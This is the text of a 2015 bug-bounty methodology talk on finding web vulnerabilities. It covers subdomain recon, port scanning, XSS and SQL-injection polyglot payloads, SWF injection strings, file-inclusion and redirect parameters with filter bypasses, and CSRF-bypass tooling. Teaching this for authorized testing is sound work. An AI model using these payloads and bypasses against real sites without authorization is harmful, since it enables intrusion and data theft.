How To Shot Web
(Better hacking in 2015)
Jason Haddix

- Bugcrowd
- Director of Technical Ops
- Hacker & Bug hunter
- #1 on all-time leaderboard bugcrowd 2014

@jhaddix
What this talk’s about...

Hack Stuff Better (and practically)

And...LOTS of memes... only some are funny
More Specifically

Step 1: Cut a hole in a box... j/k

Step 1: Started with my bug hunting methodology
Step 2: Parsed some of the top bug hunters’ research (web/mobile only for now)
Step 3: Create kickass preso

Topics? BB philosophy shifts, discovery techniques, mapping methodology, parameters oft attacked, useful fuzz strings, bypass or filter evasion techniques, new/awesome tooling
Philosophy
## Differences from standard testing

<table>
<thead>
<tr>
<th>Single-sourced</th>
<th>Crowdsourced</th>
</tr>
</thead>
<tbody>
<tr>
<td>● looking mostly for common-ish vulns</td>
<td>● looking for vulns that aren’t as easy to find</td>
</tr>
<tr>
<td>● not competing with others</td>
<td>● racing vs. time</td>
</tr>
<tr>
<td>● incentivized for count</td>
<td>● competitive vs. others</td>
</tr>
<tr>
<td>● payment based on sniff test</td>
<td>● incentivized to find unique bugs</td>
</tr>
<tr>
<td></td>
<td>● payment based on impact not number of findings</td>
</tr>
</tbody>
</table>
The regular methodologies
Discovery
Find the road less traveled

^ means find the application (or parts of an application) less tested.

1. *.acme.com scope is your friend
2. Find domains via Google (and others!)
   a. Can be automated well via recon-ng and other tools.
3. Port scan for obscure web servers or services (on all domains)
4. Find acquisitions and the bounty acquisition rules
   a. Google has a 6 month rule
5. Functionality changes or re-designs
6. Mobile websites
7. New mobile app versions
Tool: Recon-ng script (enumall.sh)

#!/bin/bash

# Subdomain enumeration script that creates/uses a dynamic resource script for recon-ng.
# only 1 module needs api’s (/api/google_site) find instructions for that on the wiki.
# Or you can comment out that module.
# uses google scraping, bing scraping, baidu scraping, netcraft, and bruteforces to find subdomains.
# by @jhaddix

# input from command-line becomes domain to test

https://github.com/jhaddix/domain
After it's done, a quick "show hosts" in the recon-ng prompt:

```
[recon-ng][paypal.com201401131409][resolve] > show hosts
```

<table>
<thead>
<tr>
<th>host</th>
<th>ip_address</th>
<th>region</th>
<th>country</th>
<th>latitude</th>
<th>longitude</th>
</tr>
</thead>
<tbody>
<tr>
<td>accounts.paypal.com</td>
<td>66.211.168.93</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>active-www.paypal.com</td>
<td>173.0.84.34</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>active-www.paypal.com</td>
<td>173.0.88.34</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>active-www.paypal.com</td>
<td>173.0.88.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>active-www.paypal.com</td>
<td>173.0.84.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ad.paypal.com</td>
<td>23.214.17.245</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>advertising.paypal.com</td>
<td>23.214.16.211</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>announcements.paypal.com</td>
<td>173.0.88.130</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>announcements.paypal.com</td>
<td>173.0.84.130</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>api-3t.sandbox.paypal.com</td>
<td>23.5.251.42</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>api.sandbox.paypal.com</td>
<td>23.5.251.39</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apps.paypal.com</td>
<td>66.211.188.15</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>autodiscover.paypal.com</td>
<td>64.68.79.242</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>beta.paypal.com</td>
<td>192.69.184.181</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>blueprint.paypal.com</td>
<td>66.211.188.15</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>business.sandbox.paypal.com</td>
<td>173.0.82.91</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>cms.paypal.com</td>
<td>23.213.190.233</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>coupons.paypal.com</td>
<td>23.214.16.211</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>creditcenter.paypal.com</td>
<td>208.76.140.163</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
LMGTFY

let me Google that for you

site.paypal.com -www.paypal.com -www.sandbox

Google Search  I'm Feeling Lucky
About 462,000 results (0.47 seconds)

Bill Me Later
https://creditapply.paypal.com/
Bill Me Later® is the fast, simple and secure way to pay online without using a credit card at more than 1000 stores. Simply select Bill Me Later at checkout.

PayPal: Error - Login United States
https://business.paypal.com/
Login securely to your PayPal United States account. PayPal - the safer, easier way to pay online, send money and accept payments.

PayPal Shopping - PayPal Shopping Offers:
https://shopping.paypal.com/offers
PayPal Shopping is the online shopping destination where you'll find exclusive deals, offers & coupons at 1000+ stores. Buy Now, Pay Later. Find offers.

PayPal Media Network
https://advertising.paypal.com/
Navigation. About Us · Mobile and Online · Mobile Targeting · Online Targeting · Creative · Offers · News and Events · Ad Specs; MediaKit PDF; Terms and ...
<table>
<thead>
<tr>
<th>#</th>
<th>Date</th>
<th>Company</th>
<th>Industry Description</th>
<th>Location</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>46</td>
<td>March 25, 2014</td>
<td>Oculus VR</td>
<td>Virtual reality technology</td>
<td>USA, Irvine, CA</td>
<td>$2,000,000,000</td>
</tr>
<tr>
<td>47</td>
<td>March 27, 2014</td>
<td>Ascenta</td>
<td>High-altitude UAVs</td>
<td>UK, Somerset, England</td>
<td>$20,000,000</td>
</tr>
<tr>
<td>48</td>
<td>April 24, 2014</td>
<td>ProtoGeo Oy</td>
<td>Fitness tracking app Moves</td>
<td>Finland, Helsinki</td>
<td>undisclosed</td>
</tr>
<tr>
<td>49</td>
<td>August 7, 2014</td>
<td>PrivateCore</td>
<td>Secure Server Technology</td>
<td>USA, Palo Alto, CA</td>
<td>undisclosed</td>
</tr>
<tr>
<td>50</td>
<td>August 26, 2014</td>
<td>WaveGroup Sound</td>
<td>Sound Studio</td>
<td>USA, Burlingame, CA</td>
<td>undisclosed</td>
</tr>
<tr>
<td>51</td>
<td>January 6, 2015</td>
<td>Wit.ai</td>
<td>Speech recognition</td>
<td>USA, Palo Alto, California</td>
<td>undisclosed</td>
</tr>
<tr>
<td>52</td>
<td>January 8, 2015</td>
<td>Quickfire</td>
<td></td>
<td>USA</td>
<td>undisclosed</td>
</tr>
</tbody>
</table>
Facebook Bug Bounties

October 14, 2014 at 9:52am

XSS
http://www.breaksec.com/?p=5713
http://www.nirgoldshager.com/2013/01/another-stored-xss-in-facebookcom.html
http://paulosybelo.blogspot.com/2014/07/the-unseen-facebook-bug-bounty-2014-x.html
http://medu54.blogspot.com/2014/02/stored-xss-on-atlassianfacebook.html
http://blog.ptsecurity.com/2013/10/a-story-about-xss-on-facebook.html
http://www.websecresearch.com/2014/02/facebooks-bollpeterscom-configuration.html
http://nbsnharsha.blogspot.in/2014/03/finality-facebook-hunted.html
http://blog.fin1te.net/post/64715656088/content-types-and-xss-facebook-studio
http://habrahabr.ru/company/pt/blog/247709/

Logic
http://www.nirgoldshager.com/2013/01/how-i-hacked-facebook-employees-secure.html
http://pwndizzle.blogspot.com/2014/07/breaking-facebooks-text-captcha.html

Race Conditions
http://josipfranjkovic.blogspot.com/2015/04/race-conditions-on-facebook.html

Open Redirect ($500+)
http://thekaitokin.blogspot.com/2014/10/multiple-open-redirection.html
http://mreagle0x.blogspot.com/2014/11/bypassing-facebook-input-target.html
http://arultronix.blogspot.in/2013/08/facebook-open-url-redirections-2013.html
http://www.vulnerability-lab.com/get_content.php?id=975
http://yassineaboukir.com/blog/how-i-discovered-a-1000-open-redirrect-in-facebook

Clickjacking
http://codegrudge.blogspot.com/2015/03/how-i-got-5000-from-facebook-bugbounty.html
http://www.paulosybelo.com/2015/03/facebook-bug-bounty-clickjacking.html

Object Reference ($12500+)
http://blog.fin1te.net/post/53949849983/hijacking-a-facebook-account-with-smss
http://arultronix.blogspot.in/2013/09/delete-any-photo-from-facebook-by.html
http://www.dan-melamed.com/2013/03/hacking-any-facebook-account-exploit-pool.html
http://blog.fin1te.net/post/62263963253/removing-covers-images-on-friendship-page
http://www.7xler.com/2015/02/how-i-hacked-your-facebook-photos.html

Privacy/Spam ($1500+)
http://philippeharewood.com/ability-to-invite-any-user-to-a-facebook-page-all-nons
http://patorjk.com/blog/2013/03/01/facebook-user-identification-bug/
http://blog.inernetinfo/2014/05/facebook-skip-to-email-leak-3000-pouints.html
Port Scanning!

Port scanning is not just for Netpen!

A full port scan of all your new found targets will usually yield #win:

- separate webapps
- extraneous services
- Facebook had Jenkins Script console with no auth
- IIS.net had rdp open vulnerable to MS12_020

```
nmap -sS -A -PN -p - --script=http-title dontscanme.bro
```

^ syn scan, OS + service fingerprint, no ping, all ports, http titles
Mapping
Mapping tips

- Google
- *Smart* Directory Brute Forcing
  - RAFT lists (included in Seclists)
  - SVN Digger (included in Seclists)
  - Git Digger
- Platform Identification:
  - Wapplyzer (Chrome)
  - Builtwith (Chrome)
  - retire.js (cmd-line or Burp)
  - Check CVE’s
- Auxiliary
  - WPScan
  - CMSmap
Directory Bruteforce Workflow

After bruteforcing look for other status codes indicating you are denied or require auth then append list there to test for misconfigured access control.

Example:

GET http://www.acme.com - 200
GET http://www.acme.com/backlog/ - 404
GET http://www.acme.com/controlpanel/ - 401 hmm.. ok
GET http://www.acme.com/controlpanel/[bruteforce here now]
Mapping/Vuln Discovery using OSINT

Find previous/existing problem:

- Xssed.com
- Reddit XSS - /r/xss
- Punkspider
- xss.cx
- xssposed.org
- twitter searching
- ++

Issues might already reported but use the flaw area and injection type to guide you to further injections or filter bypass.
Intrigue

New OSINT/Mapping project, **intrigue**:

- 250+ bounty programs
- Crawl
- DNS info + bruteforce
- Bounty metadata (links, rewards, scope)
- API
Intrigue and Maps projects

New OSINT/Mapping project, **intrigue**:

- 250+ bounty programs
- Crawl
- DNS info + bruteforce
- Bounty metadata (links, rewards, scope)
- API

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Domain Name</th>
<th>Server Name</th>
<th>Protocol</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>205.251.215.20</td>
<td><a href="mailto:adn@vulcan.com">adn@vulcan.com</a></td>
<td>rh.yahoo.com</td>
<td><a href="https://api.mailgun.net">https://api.mailgun.net</a></td>
<td>...</td>
</tr>
<tr>
<td>205.251.215.174</td>
<td>static.vulcan.com</td>
<td>rh.yahoo.com</td>
<td><a href="https://api.mailgun.net">https://api.mailgun.net</a></td>
<td>...</td>
</tr>
<tr>
<td>205.251.215.174</td>
<td><a href="mailto:doville@vulcan.com">doville@vulcan.com</a></td>
<td>rh.yahoo.com</td>
<td><a href="https://api.mailgun.net">https://api.mailgun.net</a></td>
<td>...</td>
</tr>
</tbody>
</table>

**Summary**:
- 250+ bounty programs
- Crawl
- DNS info + bruteforce
- Bounty metadata (links, rewards, scope)
- API
Crawling

Using + Ruby + Anemone + JSON + Grep

```
$cat test_target_json.txt | grep redirect
```

https://test_target/redirect/?url=http://twitter.com/...
https://test_target/redirect/?url=http://facebook.com/...
Intrigue Tasks

Using + Ruby + Anemone + JSON + Grep

- Brute force
- Spider
- Nmap
- etc
if ( h['DnsRecord']!="" && h['scope'] == "include" )
    dns_record_include = h['DnsRecord']

    entity = {
        :type => "DnsRecord",
        :attributes => {
            :name => dns_record_include#
    
    r = x.start "dns_brute_sub", entity, options_list

    ap r

end
TaskRun: dns_brute_sub

ID: aa921c00-689c-4cb1-96e8-e05f4ae3384
Start: 2015-07-14 03:22:31 UTC
End: 2015-07-14 03:25:50 UTC
Elapsed (s): 199

Entity: {"type": "DnsRecord", "attributes": {"name": "intrigue.io"}}

New Entities:

- DnsRecord: api.intrigue.io
  {"type": "DnsRecord", "attributes": {"name": "api.intrigue.io"}}
- IpAddress: 72.14.190.138
  {"type": "IpAddress", "attributes": {"name": "72.14.190.138"}}
- DnsRecord: blog.intrigue.io
  {"type": "DnsRecord", "attributes": {"name": "blog.intrigue.io"}}
- IpAddress: 192.0.78.13
  {"type": "IpAddress", "attributes": {"name": "192.0.78.13"}}
- DnsRecord: calendar.intrigue.io
  {"type": "DnsRecord", "attributes": {"name": "calendar.intrigue.io"}}
- IpAddress: 74.125.25.121
  {"type": "IpAddress", "attributes": {"name": "74.125.25.121"}}
- DnsRecord: core.intrigue.io
  {"type": "DnsRecord", "attributes": {"name": "core.intrigue.io"}}
- DnsRecord: docs.intrigue.io
  {"type": "DnsRecord", "attributes": {"name": "docs.intrigue.io"}}
- IpAddress: 74.125.28.121
  {"type": "IpAddress", "attributes": {"name": "74.125.28.121"}}
- DnsRecord: email.intrigue.io
  {"type": "DnsRecord", "attributes": {"name": "email.intrigue.io"}}
- IpAddress: 50.56.21.178
  {"type": "IpAddress", "attributes": {"name": "50.56.21.178"}}
- DnsRecord: mail.intrigue.io
  {"type": "DnsRecord", "attributes": {"name": "mail.intrigue.io"}}
- DnsRecord: sites.intrigue.io
  {"type": "DnsRecord", "attributes": {"name": "sites.intrigue.io"}}
- IpAddress: 74.125.129.121
  {"type": "IpAddress", "attributes": {"name": "74.125.129.121"}}
Auth and Session
Auth (better be quick)

Auth Related (more in logic, priv, and transport sections)

- User/pass discrepancy flaw
- Registration page harvesting
- Login page harvesting
- Password reset page harvesting
- No account lockout
- Weak password policy
- Password not required for account updates
- Password reset tokens (no expiry or re-use)
Session (better be quick)

Session Related

- Failure to invalidate old cookies
- No new cookies on login/logout/timeout
- Never ending cookie length
- Multiple sessions allowed
- Easily reversible cookie (base64 most often)
Tactical Fuzzing - XSS
Core Idea: Does the page functionality display something to the users?

For time sensitive testing the 80/20 rule applies. Many testers use Polyglot payloads. You probably have too!
XSS

`;alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//-->&lt;/SCRIPT&gt;'&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
XSS

"">><img src=x onerror=confirm(1)></marquee>
</plaintext></plaintext/onmouseover=prompt(1)
<script>prompt(1)</script>@gmail.com<isindex
formaction=javascript:alert(/XSS/) type=submit>'-->"
</script><script>alert(1)</script>"<img/id="confirm&lpar;1"/alt="/src="/onerror=eval(id&%23x29;>'">"<img src="http://i.imgur.com/P8mL8.jpg">

Multi-context, filter bypass based polyglot payload #2 (Ashar Javed XSS Research)
"onclick=alert(1)//<button ‘ onclick=alert(1)///> */ alert(1)//

Multi-context, filter bypass based polyglot payload #3 (Mathias Karlsson)
Other XSS Observations

**Input Vectors**

- Customizable Themes & Profiles via CSS
- Event or meeting names
- URI based
- Imported from a 3rd party (think Facebook integration)
- JSON POST Values (check returning content type)
- File Upload names

**Uploaded files (swf, HTML, ++)**

- Custom Error pages
- `fake params - ?realparam=1&foo=bar'+alert(/XSS)/+’`
- Login and Forgot password forms
SWF Parameter XSS

**Common Params:**

- onload
- allowedDomain
- movieplayer
- xmlPath
- eventhandler
- callback

**Common Injection Strings:**

```javascript
\%22}}}}catch(e){alert(document.domain);}//

");}catch(e){if(!self.a)self.a=!alert(document.domain);//

"a")(((type:"ready"));}catch(e){alert(1)}//
```
Hello, world!

Welcome to project "Flashbang". This tool is an open-source Flash-security helper with a very specific purpose: Find the flashVars of a naked SWF and display them so a security tester can start hacking away without decompiling the code. For fun, try this vulnerable old version of swfupload in flashbang.

Open SWF!
Tactical Fuzzing - SQLi
SQL Injection

Core Idea: **Does the page look like it might need to call on stored data?**

There exist some SQLi polyglots, i.e;

```
SLEEP(1) /*' or SLEEP(1) or "" or SLEEP(1) or ""*/
```

*Works in single quote context, works in double quote context, works in “straight into query” context!* (Mathias Karlsson)
SQL Injection

You can also leverage the large database of fuzzlists from [Seclists](https://github.com/SecLists/Fuzzing) here:
SQL Injection Observations

Blind is predominant, Error based is highly unlikely.

‘%2Bbenchmark(3200,SHA1(1))%2B’
‘+BENCHMARK(40000000,SHA1(1337))+’

SQLMap is king!

- Use `-l` to parse a Burp log file.
- Use Tamper Scripts for blacklists.
- SQLiPy Burp plugin works well to instrument SQLmap quickly.

Lots of injection in web services!

**Common Parameters or Injection points**

ID

Currency Values

Item number values

sorting parameters (i.e. order, sort, etc)

JSON and XML values

Cookie values (really?)

Custom headers (look for possible integrations with CDN’s or WAF’s)

REST based Services
SQLmap SQLiPy

### SQLMap Scan Finding

**Issue:** SQLMap Scan Finding
**Severity:** High
**Confidence:** Certain
**Host:** https://192.168.111.30
**Path:** /sqlip.php

**Issue detail:**
The application has been found to be vulnerable to SQL injection by SQLMap. The application issues an SQL query containing a single injection point.

**Enumerated Data:**
MySQL: 5.5.39
Current User: root@localhost
Current Database: fake
Hostname: hacklab
Is a DBA: Yes
Users: Taik@127.0.0.1'

---

The application issues an SQL query containing a single injection point.
Best SQL injection resources

DBMS Specific Resources

**mySQL**
- PentestMonkey's mySQL injection cheat sheet
- Reiners mySQL injection Filter Evasion Cheatsheet

**MSSQL**
- EvilSQL's Error/Union/Blind MSSQL Cheatsheet
- PentestMonkey's MSSQL SQLi injection Cheat Sheet

**ORACLE**
- PentestMonkey's Oracle SQLI Cheatsheet

**POSTGRESQL**
- PentestMonkey's Postgres SQLI Cheatsheet

**Others**
- Access SQLi Cheatsheet
- PentestMonkey's Ingres SQL Injection Cheat Sheet
- pentestmonkey's DB2 SQL Injection Cheat Sheet
- pentestmonkey's Informix SQL Injection Cheat Sheet
- SQLite3 Injection Cheat sheet
- Ruby on Rails (Active Record) SQL Injection Guide
Tactical Fuzzing - FI & Uploads
Local file inclusion

Core Idea: **Does it (or can it) interact with the server file system?**

*Liffy* is new and cool here but you can also use *Seclists*:

Common Parameters or Injection points

- file=
- location=
- locale=
- path=
- display=
- load=
- read=
- retrieve=
Malicious File Upload ++

*This is an important and common attack vector in this type of testing*

A file upload functions need a lot of protections to be adequately secure.

Attacks:

- Upload unexpected file format to achieve code exec (swf, html, php, php3, aspx, ++) Web shells or...
- Execute XSS via same types of files. Images as well!
- Attack the parser to DoS the site or XSS via storing payloads in metadata or file header
- Bypass security zones and store malware on target site via file polyglots
Malicious File Upload ++

File upload attacks are a whole presentation. Try this one to get a feel for bypass techniques:

- content type spoofing
- extension trickery
- File in the hole! presentation - http://goo.gl/VCXPh6
Malicious File Upload ++

As referenced file polyglots can be used to store malware on servers!

See @dan_crowley’s talk: http://goo.gl/pquXC2

and @angealbertini research: corkami.com

---

Binary files

- 2014/09/08 PoC a PDFLaTeX quine+polyglot: A PDF that is also
- 2014/08/10 PoC PoC||GTFO 0x5 a Flash, Iso, PDF, ZIP polyglots
  - article A cryptographer and a binarista walk into a bar
- 2014/06/27 PoC PoC||GTFO 0x4 a TrueCrypt, PDF, ZIP polyglot
  - This Encrypted Volume is also a PDF; or, A Polyglot Trick for I
  - How to Manually Attach a File to a PDF
- 2014/04/02 When your slides read themselves: a binary inception
- 2014/03/30 a JPG/ZIP/PDF binary chimera (the file is a JPG image
  the image data is present only once) - 1 data body, 3 heads of diff
- (2014/03/17) PoC||GTFO 0x03 is a PDF/ZIP/JPG/Audio (raw AFS
  - This PDF is a JPEG; or, This Proof of Concept is a Picture of
    - A Binary Magic Trick, AngelCryption
- (2013/12/28) a MBR/PDF/ZIP polyglot + article
- (2013/10/06) a schizophrenic PE + article
- (2013/09/13) 'inception' slides a PE+PDF+HTML+ZIP polyglot article
- (2013/01/02) CorkaM-OsX, a Mach-O+PDF+HTML+Java polyglot
- (2012/12/13) CorkaMntnuX, an ELF+PDF+HTML+Java polyglot file
- (2012/08/01) CorkaMIX, a PE+PDF+HTML+(JavaScript)+(Jar[Cla
Remote file includes and redirects

Look for any param with another web address in it. Same params from LFI can present here too.

Common blacklist bypasses:
- escape "/" with "\" or "/" with "\/"
- try single "/" instead of "//"
- remove http i.e. "continue=//google.com"
- "\"\", "\"", "/%09/"
- encode, slashes
- "./" CHANGE TO “ ..//”
- "../" CHANGE TO “....//”
- "/" CHANGE TO “//”

Redirections Common Parameters or Injection points

dest=
continue=
redirect=
url= (or anything with “url” in it)
uri= (same as above)
window=
next=
Remote file includes and redirects

RFI Common Parameters or Injection points

File= document=
Folder= root=
Path= pg=
style= pdf=
template=
php_path=
doc=
CSRF
Everyone knows CSRF but the TLDR here is find sensitive functions and attempt to CSRF.

Burps CSRF PoC is fast and easy for this:
Many sites will have CSRF protection, focus on CSRF **bypass**!

Common bypasses:

- Remove CSRF token from request
- Remove CSRF token parameter value
- Add bad control chars to CSRF parameter value
- Use a second identical CSRF param
- Change POST to GET

Check this out...
Debasish Mandal wrote a python tool to automate finding CSRF bypasses called **Burpy**.

Step 1: Enable logging in Burp. Crawl a site with Burp completely executing all functions.

Step 2: Create a template...
from rawweb import *

def main(raw_stream, ssl):
    title = ["Possible XSRF",
             "Removed XSRF token from request"]
    raw = RawWeb(raw_stream)
    raw.addheaders({'Header1': 'Value1'})  # Add new headers to that request
    raw.removeheaders([ 'Referer' ])  # Remove Referer header if exist in raw request
    final = raw.removeparameter("auth_token")  # final will hold the final request to be fired.(For reporting)
    result = raw.fire(ssl)
    if 'csrf error' in result[3]:  # Generic CSRF error is in response body. Hence return "FALSE"
        return "FALSE"
    else:  # As the generic csrf error is not present in body, treat this as suspicious and +ve result.
        return title, final, result[0], result[1], result[2], result[3]
Step 3: Run burpy on Burp log file...

Logic:

1. Parse burp log file
2. re-request everything instrumenting 4/5 attacks in previous slide
3. diff responses
4. alert on outliers
5. profit
Base Request
POST /messages/action/ HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.facebook.com/messagingconfirmation?action_url=/messages/action/?
mm_action=delete&tids=mid.1375723992343%3A9fb37a810424df2016&tid=mid.1375723992343:9fb37a81
Cookie: Deleted
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

mm_action=delete&tids=mid.1375723992343:9fb37a810424df2016&fb_dtsg=xy8asd_
Crafted Request  [Token Removed from Request]

POST /messages/action/ HTTP/1.1
Content-Length: 61
Accept-Language: en-US;en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0
Host: www.facebook.com
Referer: http://www.facebook.com/messagingconfirmation?action_url=/messages/action/?mm_action=delete&tids=mid.1375723992343%3A9fb37a810424df201&tid=mid.1375723992343:9fb37a810
Fun: Fun
Cookie: Deleted
Content-Type: application/x-www-form-urlencoded

mm_action=delete&tids=mid.1375723992343:9fb37a810424df2016&

Live Response
HTTP/1.1 408 Client timeout
date: Thu, 17 Oct 2013 07:54:30 GMT
connection: keep-alive
content-type: text/html; charset=utf-8
content-length: 2131

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1
CSRF

Or focus on pages without the token in Burp:

https://github.com/arvinddoraiswamy/mywebappscripts/blob/master/BurpExtensions/csrf_token_detect.py

#This is where you put the name of the token that is being used in the application you are testing. It searches for __VIEWSTATE by default
#extension will search for this token in every request and tell you which requests do NOT have a token, so you can manually explore.
antisrf_token_name='securityRequestParameter'
CSRF

CSRF Common Critical functions

Add / Upload file  Password change
Email change      Transfer Money / Currency
Delete File       Profile edit

YOU GET A CSRF TOKEN
AND YOU GET A CSRF TOKEN AND YOU GET A CSRF TOKEN
Privilege, Transport, Logic
Privilege

Often logic, priv, auth bugs are blurred.

Testing user priv:

1. admin has power
2. peon has none
3. peon can use function only meant for admin
Privilege

1. Find site functionality that is restricted to certain user types
2. Try accessing those functions with lesser/other user roles
3. Try to directly browse to views with sensitive information as a lesser priv user

Authorize Burp plugin is pretty neat here...

https://github.com/Quitten/Autorize

Common Functions or Views
- Add user function
- Delete user function
- start project / campaign / etc function
- change account info (pass, CC, etc) function
- customer analytics view
- payment processing view
- any view with PII
1. Browse using high priv user
2. Login with a lower priv user
3. Burp Plugin re-requests to see if low priv can access high priv
Insecure direct object references

IDORs are common place in bounties, and hard to catch with scanners.

Find *any and all* UIDs
- increment
- decrement
- negative values
- Attempt to perform sensitive functions substituting another UID
  - change password
  - forgot password
  - admin only functions
Idor’s

**Common Functions, Views, or Files**

Everything from the CSRF Table, trying cross account attacks

Sub: UIDs, user hashes, or emails

Images that are non-public

Receipts

Private Files (pdfs, ++)

Shipping info & Purchase Orders

Sending / Deleting messages
Transport

Most security concerned sites will enable HTTPS. It’s your job to ensure they’ve done it **EVERYWHERE**. Most of the time they miss something.

Examples:

- Sensitive images transported over HTTP
- Analytics with session data / PII leaked over HTTP
Transport

https://github.com/arvinddoraiswamy/mywebappscripts/tree/master/ForceSSL

1. Spider the application and generate a site map in Burp.
2. Select the sites/directories that you want using CTRL+Click; right click in Burp and select 'Copy all URLs'.
3. Create a new file called https_urls in the same directory as this script.
4. Paste the copied URLs into this file and save this file.
5. Run the script force_http_req_threaded.py as follows - python force_http_req_threaded.py.
6. Create a directory called URLs. The file 'https_urls' is copied into URLs and split into multiple files; each having 200 lines.
7. Each file is processed and every single https URL now requested over HTTP.
8. The result of this process is written into a file called 'report'. This file is in the same directory as the script.
Logic flaws that are tricky, mostly manual:

- substituting hashed parameters
- step manipulation
- use negatives in quantities
- authentication bypass
- application level DoS
- Timing attacks
Mobile
Data Storage

It's common to see mobile apps not applying encryption to the files that store PII.

**Common places to find PII unencrypted**

- Phone system logs (avail to all apps)
- webkit cache (cache.db)
- plists, dbs, etc
- hardcoded in the binary
Quick spin-up for iOS

Daniel Mayers [idb tool]:
Logs!
Auxiliary
The vulns formerly known as “noise”

- Content Spoofing or HTML injection
- Referer leakage
- security headers
- path disclosure
- clickjacking
- ++
How to test a web app in \( n \) minutes

How can you get maximum results within a given time window?
Data Driven Assessment (diminishing return FTW)

1. Visit the search, registration, contact, and password reset, and comment forms and hit them with your polyglot strings
2. Scan those specific functions with Burp’s built-in scanner
3. Check your cookie, log out, check cookie, log in, check cookie. Submit old cookie, see if access.
4. Perform user enumeration checks on login, registration, and password reset.
5. Do a reset and see if; the password comes plaintext, uses a URL based token, is predictable, can be used multiple times, or logs you in automatically
6. Find numeric account identifiers anywhere in URL and rotate them for context change
7. Find the security-sensitive function(s) or files and see if vulnerable to non-auth browsing (idors), lower-auth browsing, CSRF, CSRF protection bypass, and see if they can be done over HTTP.
8. Directory brute for top short list on SecLists
9. Check upload functions for alternate file types that can execute code (xss or php/etc/etc)

~ 15 minutes
Things to take with you…

1. Crowdsourced testing is different enough to pay attention to
2. Crowdsourcing focuses on the 20% because the 80% goes quick
3. Data analysis can yield the most successfully attacked areas
4. A 15 minute web test, done right, could yield a majority of your critical vulns
5. Add polyglots to your toolbelt
6. Use SecLists to power your scanners
7. Remember to periodically refresh your game with the wisdom of other techniques and other approaches

Follow these ninjas who I profiled: https://twitter.com/Jhaddix/lists/bninjas
Gitbook project: The Bug Hunters Methodology

This preso ended up to be way too much to fit in an 45min talk so... we turned it into a Git project! (if you are reading this from the Defcon DVD check my twitter or Github for linkage)

- 50% of research still unparsed
- More tooling to automate
- XXE and parser attacks
- XSRF
- Captcha bypass
- Detailed logic flaws
- More mobile
Meme Count: 13
Attribution and Thanks
Tim Tomes - Recon-ng
Joe Giron - RFI params
Soroush Dalili - File in the Hole preso
Mathias Karlsson - polyglot research
Ashar Javed - polyglot/xss research
Ryan Dewhurst & Wpscan Team
Bitquark - for being a ninja, bsqli string
rotlogix - liffy LFI scanner
Arvind Doraiswamy - HTTPs, CSRF Burp Plugins
Barak Tawily - Authorize burp plugin
the RAFT list authors
Ferruh Mavituna - SVNDigger
Jaime Filson aka wick2o - GitDigger
Robert Hansen aka rsnake - polyglot / xss
Dan Crowley - polyglot research
Daniel Miessler - methodology, slide, and data contributions
My awesome team at Bugcrowd (Jon, Tod, Shpend, Ben, Grant, Fatih, Patrik, Kati, Kym, Abby, Casey, Chris, Sam,++)
All the bug hunting community!!!